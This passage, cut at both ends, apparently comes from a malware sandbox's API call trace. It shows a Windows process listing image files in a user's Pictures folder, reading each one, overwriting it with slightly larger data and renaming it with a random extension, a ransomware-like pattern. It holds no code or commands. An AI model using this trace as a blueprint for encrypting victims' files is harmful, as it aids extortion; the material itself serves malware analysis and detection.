lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png.m3pobg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\qs5-gxibyrtogzhqza1s.png.m3pobg")) returned 1 [0157.233] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o", lpFilePart=0x0) returned 0x3e [0157.233] SetErrorMode (uMode=0x1) returned 0x0 [0157.233] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0157.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb716b7a0, ftCreationTime.dwHighDateTime=0x1d8b59a, ftLastAccessTime.dwLowDateTime=0x271b4260, ftLastAccessTime.dwHighDateTime=0x1d8bb08, ftLastWriteTime.dwLowDateTime=0x271b4260, ftLastWriteTime.dwHighDateTime=0x1d8bb08, nFileSizeHigh=0x0, nFileSizeLow=0xca1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-5Mj8_.bmp", cAlternateFileName="")) returned 1 [0157.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308d28c0, ftCreationTime.dwHighDateTime=0x1d8b3cb, ftLastAccessTime.dwLowDateTime=0xc0298380, ftLastAccessTime.dwHighDateTime=0x1d8bd02, ftLastWriteTime.dwLowDateTime=0xc0298380, ftLastWriteTime.dwHighDateTime=0x1d8bd02, nFileSizeHigh=0x0, nFileSizeLow=0x289a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0pSZBq85O.bmp", cAlternateFileName="0PSZBQ~1.BMP")) returned 1 [0157.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be3d980, ftCreationTime.dwHighDateTime=0x1d8b3ac, ftLastAccessTime.dwLowDateTime=0xb541fe00, ftLastAccessTime.dwHighDateTime=0x1d8b5a2, ftLastWriteTime.dwLowDateTime=0xb541fe00, ftLastWriteTime.dwHighDateTime=0x1d8b5a2, nFileSizeHigh=0x0, nFileSizeLow=0x15779, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBBStS.bmp", cAlternateFileName="")) returned 1 [0157.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cf3d20, ftCreationTime.dwHighDateTime=0x1d8bb04, ftLastAccessTime.dwLowDateTime=0x96633ed0, ftLastAccessTime.dwHighDateTime=0x1d8bbde, ftLastWriteTime.dwLowDateTime=0x96633ed0, ftLastWriteTime.dwHighDateTime=0x1d8bbde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G3cproBxiH", cAlternateFileName="G3CPRO~1")) returned 1 [0157.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1c2240, ftCreationTime.dwHighDateTime=0x1d8b485, ftLastAccessTime.dwLowDateTime=0xce300610, ftLastAccessTime.dwHighDateTime=0x1d8b529, ftLastWriteTime.dwLowDateTime=0xce300610, ftLastWriteTime.dwHighDateTime=0x1d8b529, nFileSizeHigh=0x0, nFileSizeLow=0x1887, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiQxYBh8WF BW.png", cAlternateFileName="HIQXYB~1.PNG")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefffc040, ftCreationTime.dwHighDateTime=0x1d8be7b, ftLastAccessTime.dwLowDateTime=0xeba736a0, ftLastAccessTime.dwHighDateTime=0x1d8c05f, ftLastWriteTime.dwLowDateTime=0xeba736a0, ftLastWriteTime.dwHighDateTime=0x1d8c05f, nFileSizeHigh=0x0, nFileSizeLow=0xc740, dwReserved0=0x0, dwReserved1=0x0, cFileName="LkpsUmBc2.gif", cAlternateFileName="LKPSUM~1.GIF")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb1de0, ftCreationTime.dwHighDateTime=0x1d8b3dc, ftLastAccessTime.dwLowDateTime=0xdc14f950, ftLastAccessTime.dwHighDateTime=0x1d8bdd7, ftLastWriteTime.dwLowDateTime=0xdc14f950, ftLastWriteTime.dwHighDateTime=0x1d8bdd7, nFileSizeHigh=0x0, nFileSizeLow=0x110ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rd5 lJo0f.bmp", cAlternateFileName="RD5LJO~1.BMP")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2719d3b0, ftCreationTime.dwHighDateTime=0x1d8b853, ftLastAccessTime.dwLowDateTime=0xaffcaf00, ftLastAccessTime.dwHighDateTime=0x1d8be0b, ftLastWriteTime.dwLowDateTime=0xaffcaf00, ftLastWriteTime.dwHighDateTime=0x1d8be0b, nFileSizeHigh=0x0, nFileSizeLow=0x18f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="U05NyfhFoOH.png", cAlternateFileName="U05NYF~1.PNG")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c23950, ftCreationTime.dwHighDateTime=0x1d8c112, ftLastAccessTime.dwLowDateTime=0x3c9dc110, ftLastAccessTime.dwHighDateTime=0x1d8c122, ftLastWriteTime.dwLowDateTime=0x3c9dc110, ftLastWriteTime.dwHighDateTime=0x1d8c122, nFileSizeHigh=0x0, nFileSizeLow=0xbe72, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wa4M93Zpt.gif", cAlternateFileName="WA4M93~1.GIF")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d605c0, ftCreationTime.dwHighDateTime=0x1d8bb19, ftLastAccessTime.dwLowDateTime=0xdaebc2f0, ftLastAccessTime.dwHighDateTime=0x1d8bb63, ftLastWriteTime.dwLowDateTime=0xdaebc2f0, ftLastWriteTime.dwHighDateTime=0x1d8bb63, nFileSizeHigh=0x0, nFileSizeLow=0x1ed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="X-F8UWS.bmp", cAlternateFileName="")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b91000, ftCreationTime.dwHighDateTime=0x1d8b38c, ftLastAccessTime.dwLowDateTime=0x6ef701a0, ftLastAccessTime.dwHighDateTime=0x1d8b847, ftLastWriteTime.dwLowDateTime=0x6ef701a0, ftLastWriteTime.dwHighDateTime=0x1d8b847, nFileSizeHigh=0x0, nFileSizeLow=0x3741, dwReserved0=0x0, dwReserved1=0x0, cFileName="xnJgp6.png", cAlternateFileName="")) returned 1 [0157.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808c1d30, ftCreationTime.dwHighDateTime=0x1d8b363, ftLastAccessTime.dwLowDateTime=0xc62cccd0, ftLastAccessTime.dwHighDateTime=0x1d8bd14, ftLastWriteTime.dwLowDateTime=0xc62cccd0, ftLastWriteTime.dwHighDateTime=0x1d8bd14, nFileSizeHigh=0x0, nFileSizeLow=0x17c43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z64iIdMxeXqqKP0mIT.png", cAlternateFileName="Z64IID~1.PNG")) returned 1 [0157.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808c1d30, ftCreationTime.dwHighDateTime=0x1d8b363, ftLastAccessTime.dwLowDateTime=0xc62cccd0, ftLastAccessTime.dwHighDateTime=0x1d8bd14, ftLastWriteTime.dwLowDateTime=0xc62cccd0, ftLastWriteTime.dwHighDateTime=0x1d8bd14, nFileSizeHigh=0x0, nFileSizeLow=0x17c43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z64iIdMxeXqqKP0mIT.png", cAlternateFileName="Z64IID~1.PNG")) returned 0 [0157.236] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0157.236] SetErrorMode (uMode=0x0) returned 0x1 [0157.236] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o", lpFilePart=0x0) returned 0x3e [0157.236] SetErrorMode (uMode=0x1) returned 0x0 [0157.237] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0157.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb716b7a0, ftCreationTime.dwHighDateTime=0x1d8b59a, ftLastAccessTime.dwLowDateTime=0x271b4260, ftLastAccessTime.dwHighDateTime=0x1d8bb08, ftLastWriteTime.dwLowDateTime=0x271b4260, ftLastWriteTime.dwHighDateTime=0x1d8bb08, nFileSizeHigh=0x0, nFileSizeLow=0xca1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-5Mj8_.bmp", cAlternateFileName="")) returned 1 [0157.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308d28c0, ftCreationTime.dwHighDateTime=0x1d8b3cb, ftLastAccessTime.dwLowDateTime=0xc0298380, ftLastAccessTime.dwHighDateTime=0x1d8bd02, ftLastWriteTime.dwLowDateTime=0xc0298380, ftLastWriteTime.dwHighDateTime=0x1d8bd02, nFileSizeHigh=0x0, nFileSizeLow=0x289a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0pSZBq85O.bmp", cAlternateFileName="0PSZBQ~1.BMP")) returned 1 [0157.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be3d980, ftCreationTime.dwHighDateTime=0x1d8b3ac, ftLastAccessTime.dwLowDateTime=0xb541fe00, ftLastAccessTime.dwHighDateTime=0x1d8b5a2, ftLastWriteTime.dwLowDateTime=0xb541fe00, ftLastWriteTime.dwHighDateTime=0x1d8b5a2, nFileSizeHigh=0x0, nFileSizeLow=0x15779, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBBStS.bmp", cAlternateFileName="")) returned 1 [0157.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cf3d20, ftCreationTime.dwHighDateTime=0x1d8bb04, ftLastAccessTime.dwLowDateTime=0x96633ed0, ftLastAccessTime.dwHighDateTime=0x1d8bbde, ftLastWriteTime.dwLowDateTime=0x96633ed0, ftLastWriteTime.dwHighDateTime=0x1d8bbde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G3cproBxiH", cAlternateFileName="G3CPRO~1")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1c2240, ftCreationTime.dwHighDateTime=0x1d8b485, ftLastAccessTime.dwLowDateTime=0xce300610, ftLastAccessTime.dwHighDateTime=0x1d8b529, ftLastWriteTime.dwLowDateTime=0xce300610, ftLastWriteTime.dwHighDateTime=0x1d8b529, nFileSizeHigh=0x0, nFileSizeLow=0x1887, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiQxYBh8WF BW.png", cAlternateFileName="HIQXYB~1.PNG")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefffc040, ftCreationTime.dwHighDateTime=0x1d8be7b, ftLastAccessTime.dwLowDateTime=0xeba736a0, ftLastAccessTime.dwHighDateTime=0x1d8c05f, ftLastWriteTime.dwLowDateTime=0xeba736a0, ftLastWriteTime.dwHighDateTime=0x1d8c05f, nFileSizeHigh=0x0, nFileSizeLow=0xc740, dwReserved0=0x0, dwReserved1=0x0, cFileName="LkpsUmBc2.gif", cAlternateFileName="LKPSUM~1.GIF")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb1de0, ftCreationTime.dwHighDateTime=0x1d8b3dc, ftLastAccessTime.dwLowDateTime=0xdc14f950, ftLastAccessTime.dwHighDateTime=0x1d8bdd7, ftLastWriteTime.dwLowDateTime=0xdc14f950, ftLastWriteTime.dwHighDateTime=0x1d8bdd7, nFileSizeHigh=0x0, nFileSizeLow=0x110ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rd5 lJo0f.bmp", cAlternateFileName="RD5LJO~1.BMP")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2719d3b0, ftCreationTime.dwHighDateTime=0x1d8b853, ftLastAccessTime.dwLowDateTime=0xaffcaf00, ftLastAccessTime.dwHighDateTime=0x1d8be0b, ftLastWriteTime.dwLowDateTime=0xaffcaf00, ftLastWriteTime.dwHighDateTime=0x1d8be0b, nFileSizeHigh=0x0, nFileSizeLow=0x18f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="U05NyfhFoOH.png", cAlternateFileName="U05NYF~1.PNG")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c23950, ftCreationTime.dwHighDateTime=0x1d8c112, ftLastAccessTime.dwLowDateTime=0x3c9dc110, ftLastAccessTime.dwHighDateTime=0x1d8c122, ftLastWriteTime.dwLowDateTime=0x3c9dc110, ftLastWriteTime.dwHighDateTime=0x1d8c122, nFileSizeHigh=0x0, nFileSizeLow=0xbe72, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wa4M93Zpt.gif", cAlternateFileName="WA4M93~1.GIF")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d605c0, ftCreationTime.dwHighDateTime=0x1d8bb19, ftLastAccessTime.dwLowDateTime=0xdaebc2f0, ftLastAccessTime.dwHighDateTime=0x1d8bb63, ftLastWriteTime.dwLowDateTime=0xdaebc2f0, ftLastWriteTime.dwHighDateTime=0x1d8bb63, nFileSizeHigh=0x0, nFileSizeLow=0x1ed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="X-F8UWS.bmp", cAlternateFileName="")) returned 1 [0157.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b91000, ftCreationTime.dwHighDateTime=0x1d8b38c, ftLastAccessTime.dwLowDateTime=0x6ef701a0, ftLastAccessTime.dwHighDateTime=0x1d8b847, ftLastWriteTime.dwLowDateTime=0x6ef701a0, ftLastWriteTime.dwHighDateTime=0x1d8b847, nFileSizeHigh=0x0, nFileSizeLow=0x3741, dwReserved0=0x0, dwReserved1=0x0, cFileName="xnJgp6.png", cAlternateFileName="")) returned 1 [0157.239] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808c1d30, ftCreationTime.dwHighDateTime=0x1d8b363, ftLastAccessTime.dwLowDateTime=0xc62cccd0, ftLastAccessTime.dwHighDateTime=0x1d8bd14, ftLastWriteTime.dwLowDateTime=0xc62cccd0, ftLastWriteTime.dwHighDateTime=0x1d8bd14, nFileSizeHigh=0x0, nFileSizeLow=0x17c43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z64iIdMxeXqqKP0mIT.png", cAlternateFileName="Z64IID~1.PNG")) returned 1 [0157.239] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808c1d30, ftCreationTime.dwHighDateTime=0x1d8b363, ftLastAccessTime.dwLowDateTime=0xc62cccd0, ftLastAccessTime.dwHighDateTime=0x1d8bd14, ftLastWriteTime.dwLowDateTime=0xc62cccd0, ftLastWriteTime.dwHighDateTime=0x1d8bd14, nFileSizeHigh=0x0, nFileSizeLow=0x17c43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z64iIdMxeXqqKP0mIT.png", cAlternateFileName="Z64IID~1.PNG")) returned 0 [0157.239] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0157.239] SetErrorMode (uMode=0x0) returned 0x1 [0157.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png", lpFilePart=0x0) returned 0x50 [0157.240] SetErrorMode (uMode=0x1) returned 0x0 [0157.240] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\hiqxybh8wf bw.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.240] GetFileType (hFile=0x1d0) returned 0x1 [0157.240] SetErrorMode (uMode=0x0) returned 0x1 [0157.240] GetFileType (hFile=0x1d0) returned 0x1 [0157.240] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1887 [0157.240] ReadFile (in: hFile=0x1d0, lpBuffer=0x28622c0, nNumberOfBytesToRead=0x1887, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28622c0*, lpNumberOfBytesRead=0x21d358*=0x1887, lpOverlapped=0x0) returned 1 [0157.242] CloseHandle (hObject=0x1d0) returned 1 [0157.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png", lpFilePart=0x0) returned 0x50 [0157.293] SetErrorMode (uMode=0x1) returned 0x0 [0157.293] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\hiqxybh8wf bw.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.295] GetFileType (hFile=0x1d0) returned 0x1 [0157.295] SetErrorMode (uMode=0x0) returned 0x1 [0157.295] GetFileType (hFile=0x1d0) returned 0x1 [0157.295] WriteFile (in: hFile=0x1d0, lpBuffer=0x2949bb0*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2949bb0*, lpNumberOfBytesWritten=0x21d3d8*=0x1890, lpOverlapped=0x0) returned 1 [0157.296] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png", lpFilePart=0x0) returned 0x50 [0157.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png.ikq5ri", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png.ikq5ri", lpFilePart=0x0) returned 0x57 [0157.297] SetErrorMode (uMode=0x1) returned 0x0 [0157.297] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\hiqxybh8wf bw.png"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1c2240, ftCreationTime.dwHighDateTime=0x1d8b485, ftLastAccessTime.dwLowDateTime=0xce300610, ftLastAccessTime.dwHighDateTime=0x1d8b529, ftLastWriteTime.dwLowDateTime=0x5a3b1680, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1890)) returned 1 [0157.297] SetErrorMode (uMode=0x0) returned 0x1 [0157.297] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\hiqxybh8wf bw.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\hiQxYBh8WF BW.png.ikq5ri" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\hiqxybh8wf bw.png.ikq5ri")) returned 1 [0157.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif", lpFilePart=0x0) returned 0x4c [0157.298] SetErrorMode (uMode=0x1) returned 0x0 [0157.299] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\lkpsumbc2.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.299] GetFileType (hFile=0x1d0) returned 0x1 [0157.299] SetErrorMode (uMode=0x0) returned 0x1 [0157.299] GetFileType (hFile=0x1d0) returned 0x1 [0157.299] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xc740 [0157.299] ReadFile (in: hFile=0x1d0, lpBuffer=0x294c438, nNumberOfBytesToRead=0xc740, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x294c438*, lpNumberOfBytesRead=0x21d358*=0xc740, lpOverlapped=0x0) returned 1 [0157.320] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\LkpsUmBc2.gif", lpFilePart=0x0) returned 0x4c [0157.320] SetErrorMode (uMode=0x1) returned 0x0 [0157.320] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s 